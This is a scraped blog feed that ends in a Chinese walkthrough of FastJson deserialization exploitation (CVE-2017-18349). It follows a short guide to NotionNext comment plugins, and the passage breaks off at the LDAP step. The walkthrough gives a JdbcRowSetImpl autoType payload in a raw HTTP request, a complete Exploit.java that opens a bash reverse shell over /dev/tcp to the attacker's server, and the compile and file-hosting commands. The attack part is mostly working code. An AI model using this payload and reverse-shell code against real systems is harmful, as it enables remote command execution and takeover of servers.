将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图： 注意， 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥，并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ，点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret （对应图中2和3）备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据，便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可，并确认 允许访问仓库数据权限： 默认勾选All repositories即可。也可以只勾选用作评论的仓库，（后续还可以再回来配置） 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名，并选择 Discussion分类为 Announcements .</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://tangly1024.com/favicon.ico" alt="NotionNext如何添加评论插件 | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://tangly1024.com/article/notion-next-comment-plugin</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://tangly1024.com/bg_image.jpg" alt="NotionNext如何添加评论插件 | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div></a></div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-7d7563edd54042568ddb8a516c14d84e" href="https://tangly1024.com/article/notionnext-valine"><div><div class="notion-bookmark-title">NotionNext配置Valine/Waline评论插件 | TANGLY&#x27;s BLOG</div><div class="notion-bookmark-description">Valine插件需要LeanCloud后端提供数据库存储功能，请按照以下步骤配置。 而Waline 的前置步骤和Valine基本一致，只是多了一个部署Waline的Vercel服务步骤。由于Waline配置了完善的后台管理功能，所以使用Waline就不需要再配合Admin-Valine项目运行。 应用创建好以后，进入刚刚创建的应用，选择左下角的 设置&gt; 应用Key，然后就能看到你的 APP ID和 APP Key 了： 为了你的数据安全，请设置自己的 安全域名 ：只有以下设置的域名，才允许访问你的valine数据 支持的Valine配置在NotionNext项目的blog.config.js 中，请在Vercel后台的环境变量中配置： serverURLs在应用内部会尝试自动获取，如果发现获取失败，请手动提供 刚刚创建的应用，选择左下角的 设置&gt; 应用Key，找到 Request 域名 第一行 需要在akismet中注册账号并获取免费的key： https://akismet.com/account ，并在LeanCloud中配置 AKISMET_KEY 变量 参考官方文档，在你的Vercel上部署一个valine应用。而后在你的NotionNext环境变量中添加你的waline服务地址环境变量： NEXT_PUBLIC_WALINE_SERVER_URL 即可生效。</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://tangly1024.com/favicon.ico" alt="NotionNext配置Valine/Waline评论插件 | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://tangly1024.com/article/notionnext-valine</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10eb466a-599b-4513-bcbf-2331cf88078d%2Fpexels-photo-546819.webp?table=block&amp;id=bee1fccf-a3bd-47a1-a7be-83cc71372d83&amp;cache=v2" alt="NotionNext配置Valine/Waline评论插件 | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div></a></div><div class="notion-blank notion-block-0732638eaa084eea9958b31bf71fe1e6"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FastJson反序列化漏洞集合]]></title>
            <link>https://hexo.xslover.xyz/article/c1962fdf-2f8b-4c0b-aef7-513155e3b852</link>
            <guid>https://hexo.xslover.xyz/article/c1962fdf-2f8b-4c0b-aef7-513155e3b852</guid>
            <pubDate>Tue, 18 Apr 2023 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="container" class="font-medium mx-auto undefined"><main class="notion light-mode notion-page notion-block-c1962fdf2f8b4c0baef7513155e3b852"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-0340f5f980ef4aca965bfdaecc673df1" data-id="0340f5f980ef4aca965bfdaecc673df1"><span><div id="0340f5f980ef4aca965bfdaecc673df1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0340f5f980ef4aca965bfdaecc673df1" title="FASTJSON反序列化命令执行(CVE-2017-18349)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">FASTJSON反序列化命令执行(CVE-2017-18349)</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-65698b788cc74ecdb8c08c367e51b28b" data-id="65698b788cc74ecdb8c08c367e51b28b"><span><div id="65698b788cc74ecdb8c08c367e51b28b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#65698b788cc74ecdb8c08c367e51b28b" title="复现原理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">复现原理</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">fastjson 在解析 json 的过程中，支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

根据官方给出的补丁文件，主要的更新在这个 checkAutoType 函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-57712e4655a0423094f6e073e0e3b532" data-id="57712e4655a0423094f6e073e0e3b532"><span><div id="57712e4655a0423094f6e073e0e3b532" class="notion-header-anchor"></div><a class="notion-hash-link" href="#57712e4655a0423094f6e073e0e3b532" title="漏洞版本"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞版本</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">fastjson&lt;=1.2.24
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-87d0e3e560da40e98e887a4d0b5284f2" data-id="87d0e3e560da40e98e887a4d0b5284f2"><span><div id="87d0e3e560da40e98e887a4d0b5284f2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#87d0e3e560da40e98e887a4d0b5284f2" title="挖掘思路"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">挖掘思路</span></span></h3><blockquote class="notion-quote notion-block-7d45b4937aab4db1a1aa9c310a78c571"><div>FastJsonScan</div></blockquote><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-fe00b0594a8e4a648ef199f8279165db"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105013.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">POST / HTTP/1.1
Host: you-attack.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 117

{&quot;dr&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://7uk0kj.dnslog.cn/Object&quot;,&quot;autoCommit&quot;:true}}

</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f7601796157943ae90ee417adc5f58af"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105226.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">DNSLOG测试是否出网：
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7f4fcfc998a4414ba025c4f5d6c62201"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105103.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-d7d1658536a64bb7ab2ee1e4a219b041" data-id="d7d1658536a64bb7ab2ee1e4a219b041"><span><div id="d7d1658536a64bb7ab2ee1e4a219b041" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d7d1658536a64bb7ab2ee1e4a219b041" title="漏洞环境"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞环境</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3f087655e2664684ab86a0847b49457e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105404.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-a6208ff4f42646d5b8319d3e157fd51d" data-id="a6208ff4f42646d5b8319d3e157fd51d"><span><div id="a6208ff4f42646d5b8319d3e157fd51d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a6208ff4f42646d5b8319d3e157fd51d" title="漏洞复现：(测试中)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞复现：(测试中)</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-a6826d6f0edc4333a675039ff76bae55" data-id="a6826d6f0edc4333a675039ff76bae55"><span><div id="a6826d6f0edc4333a675039ff76bae55" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a6826d6f0edc4333a675039ff76bae55" title="1.DNSLOG漏洞验证"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.DNSLOG漏洞验证</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">POST / HTTP/1.1
Host: you-attack.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 117

{&quot;dr&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://7uk0kj.dnslog.cn/Object&quot;,&quot;autoCommit&quot;:true}}

</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4c66e94c253148c09d5c4e66e01093a4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105226.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">DNSLOG测试是否出网：
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f0b9bb0b0435404a83d8a69973825c7f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826105103.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-5419ad1308194fd0802149f2e5f886cd" data-id="5419ad1308194fd0802149f2e5f886cd"><span><div id="5419ad1308194fd0802149f2e5f886cd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5419ad1308194fd0802149f2e5f886cd" title="2.编译Exploit.java生成exp文件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.编译Exploit.java生成exp文件</span></span></h4><blockquote class="notion-quote notion-block-d66d55d30e5b4d6c9349e73bfa642b35"><div>Exploit.java</div><div class="notion-text notion-block-308c4729b5964328bb014a2ae585c3e1">反弹ip需要自定义更换成自己服务器ip。</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;exec 5&lt;&gt;/dev/tcp/you-server-ip/28447;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done&quot;});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}
</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">javac Exploit.java
</code></pre><blockquote class="notion-quote notion-block-9a352c580a34480ca2066b5310fe1872"><div>编译成功后，得到Exploit.class文件，将它上传到服务器，用于命令执行。</div></blockquote><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-59fe0b5ed77147b291baef3b5f48d24e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826173243.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-24b838f3e43f441f92578e302c3028f4" data-id="24b838f3e43f441f92578e302c3028f4"><span><div id="24b838f3e43f441f92578e302c3028f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#24b838f3e43f441f92578e302c3028f4" title="3.开启远程http服务放置exp文件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.开启远程http服务放置exp文件</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python -m SimpleHTTPServer 28443
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-10c271107f3841e78b2e50f7de0b730c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826173215.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d8c985b3ee064352a7bdbe82caa16c0e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210826173101.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-5021cc0a905c4500a141edbbc11d574c" data-id="5021cc0a905c4500a141edbbc11d574c"><span><div id="5021cc0a905c4500a141edbbc11d574c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5021cc0a905c4500a141edbbc11d574c" title="4.开启ldap服务设置远程执行命令"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 